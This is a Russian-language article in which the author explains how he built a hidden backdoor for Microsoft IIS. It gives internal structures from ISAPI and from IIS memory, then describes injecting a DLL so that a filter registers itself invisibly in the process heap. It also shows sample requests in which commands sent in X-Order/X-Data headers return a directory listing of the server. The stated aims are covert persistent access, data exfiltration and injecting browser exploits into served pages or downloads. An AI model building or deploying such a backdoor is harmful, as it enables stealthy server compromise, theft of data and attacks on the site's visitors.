
Скрытый бэкдор IIS, использующий скрытый фильтр ISAPI для постоянного удаленного доступа, эксфильтрации данных и динамической инъекции эксплойтов через пользовательские HTTP-заголовки.
В этой статье я объясню, как я разработал руткит для Microsoft Internet Information Services (IIS). Вопрос: зачем нужен бэкдор в веб-сервере?
Первый очевидный, но бесполезный ответ: потому что можем.
Ладно, дадим более разумный ответ. Цель внедрения бэкдора в веб-сервер двойная:
Второй пункт особенно интересен, поскольку он позволяет атакующему внедрить подходящий эксплойт в зависимости от веб-браузера, запрашивающего веб-страницу, или заразить исполняемый файл, загруженный с сервера. IIS backdoor
IIS — это веб-сервер Microsoft, важная часть веб-технологий Microsoft, таких как OWA. Было выпущено множество версий — от первой (IIS 1.0 под Windows NT 3.51) до последней (IIS 7.5 под Windows Server 2008). Он широко используется в Интернете и корпоративных интрасетях. IIS enrichment
Microsoft определила API под названием ISAPI (Internet Server Application Programming Interface), чтобы помочь разработчикам добавлять функции в IIS. Могут быть добавлены два типа компонентов: расширения или фильтры. ISAPI Extensions
Расширения — это DLL, которые экспортируют 3 функции:
Расширения — это приложения, работающие внутри IIS. Они загружаются IIS каждый раз, когда они нужны. Расширения имеют доступ к содержимому запроса и отвечают за отправку ответа клиенту. Например, если клиент запрашивает страницу http://mydomain/myextension, где myextension — ваше зарегистрированное расширение, будет вызвана функция HttpExtensionProc вашего расширения. IIS передаст ей следующую структуру:
typedef struct _EXTENSION_CONTROL_BLOCK EXTENSION_CONTROL_BLOCK {
DWORD cbSize;
DWORD dwVersion;
HCONN connID;
DWORD dwHttpStatusCode;
char lpszLogData[HSE_LOG_BUFFER_LEN];
LPSTR lpszMethod;
LPSTR lpszQueryString;
LPSTR lpszPathInfo;
LPSTR lpszPathTranslated;
DWORD cbTotalBytes;
DWORD cbAvailable;
LPBYTE lpbData;
LPSTR lpszContentType;
BOOL (WINAPI * GetServerVariable) ();
BOOL (WINAPI * WriteClient) ();
BOOL (WINAPI * ReadClient) ();
BOOL (WINAPI * ServerSupportFunction) ();
} EXTENSION_CONTROL_BLOCK;
Таким образом, HttpExtensionProc может читать данные из запроса, обрабатывать их и отправлять ответ обратно с помощью функций обратного вызова ReadClient и WriteClient. ISAPI Filters
Фильтры — это DLL, которые экспортируют 3 функции:
Фильтры регистрируются для определённого набора событий; каждый раз, когда событие происходит в течение жизненного цикла запроса, вызывается HttpFilterProc. Вот неполный список событий, на которые может подписаться фильтр:
Когда происходит событие, на которое зарегистрирован фильтр, вызывается его HttpFilterProc, и передаётся структура, зависящая от типа события. Например, для события SF_NOTIFY_END_OF_REQUEST IIS передаёт фильтру следующую структуру:
typedef struct _HTTP_FILTER_LOG HTTP_FILTER_LOG {
const char * pszClientHostName;
const char * pszClientUserName;
const char * pszServerName;
const char * pszOperation;
const char * pszTarget;
const char * pszParameters;
DWORD dwHttpStatus;
DWORD dwWin32Status;
DWORD dwBytesSent;
DWORD dwBytesRecvd;
DWORD msTimeForProcessing;
} HTTP_FILTER_LOG, * PHTTP_FILTER_LOG;
Эта структура содержит всю необходимую информацию для регистрации входящего запроса фильтром. Extensions and Filters overview
На следующей схеме представлен общий порядок доступа к фильтрам и расширениям по запросу клиента:
Schemaextfilts.png Hidden Filter
Для реализации моего бэкдора IIS я решил использовать механизм фильтров IIS, а не механизм расширений. В основном из соображений скрытности. Действительно, чтобы обратиться к расширению, клиенты должны выполнить запрос к URL вида http://mydomain/myextension. Моё расширение тогда появилось бы в журналах сервера. Если я использую фильтр, к нему можно обратиться, запросив любую допустимую страницу на сервере — это гораздо более обычное поведение.
Зарегистрировать фильтр можно через панель конфигурации IIS (в файлах конфигурации IIS), но это совсем не скрытно. Я решил добавить фильтр вручную в связный список фильтров IIS. Для этого я внедряю свою DLL в процесс IIS; DLL анализирует кучу процесса IIS и вручную регистрирует себя в списке фильтров IIS.
Для поддержки списка фильтров IIS в памяти используются два типа структур. Первый:
typedef struct FILTER_LIST {
unsigned int Magic; "FLIS"
unsigned int unknown;
unsigned int NumberOfFilters;
PHTTP_FILTER_DLL * FilterPointerArray;
unsigned int unknown2[10];
unsigned int Flags1Sum;
unsigned int * Flags1;
unsigned int unknown3[10];
unsigned int Flags2Sum;
unsigned int * Flags2;
} FILTER_LIST , *PFILTER_LIST;
Он содержит следующие поля:
Каждый фильтр имеет собственную структуру HTTP_FILTER_DLL, которая выглядит следующим образом:
struct _HTTP_FILTER_DLL{
unsigned int Magic ; "FDLL"
PHTTP_FILTER_DLL pPrevious;
PHTTP_FILTER_DLL pNext;
void * ModuleBaseAddress;
void * HttpFilterProc;
void * GetFilterVersion;
void * TerminateFilter;
unsigned int unknown1;
unsigned int AcceptFlags1;
unsigned int AcceptFlags2;
unsigned int unknown2;
char * DllPath;
unsigned intunknown3;
unsigned intunknown4;
char String[DLL_PATH_SIZE];
unsigned int unknown5;
} HTTP_FILTER_DLL, *PHTTP_FILTER_DLL;
На следующей схеме показано, как фильтры IIS организованы в памяти:
SchemaListNoHidFilt.png
Зная эту организацию памяти, легко добавить новый скрытый фильтр в память. Для этого нужно найти экземпляр FILTER_LIST в куче. После нахождения достаточно добавить новую структуру HTTP_FILTER_DLL в список HTTP_FILTER_DLL и добавить ссылку на неё в массив фильтров структуры FILTER_LIST:
SchemaListHidFilt.png Backdoor Implementation
Бэкдор работает по очень простому принципу. Клиенты отправляют запросы со специальными заголовками, содержащими команды, а фильтр отвечает добавлением данных в исходящий ответ. Фильтр регистрируется на события SF_NOTIFY_PREPROC_HEADERS и SF_NOTIFY_SEND_RAW_DATA. Когда поступает входящий запрос, фильтр проверяет, присутствуют ли заголовки X-ORDER и/или X-DATA в запросе; если да и если команда известна, он выполняет её и отвечает. Поскольку наш фильтр уведомляется для любой страницы сервера, я могу запросить любую страницу на сервере для общения с моим фильтром. Мне просто нужно добавить специальные заголовки к обычному запросу.
Если я запрашиваю простую страницу (здесь /pwet.htm) без добавления заголовков, IIS ведёт себя нормально, т.е. ответ IIS выглядит следующим образом:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
Но если я запрашиваю ту же страницу и добавляю команду (здесь команда "ListDir" с base64("C:") ), то получаю следующий результат:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub
Итак, внедрение бэкдора в веб-сервер IIS не так сложно и может дать вам множество возможностей...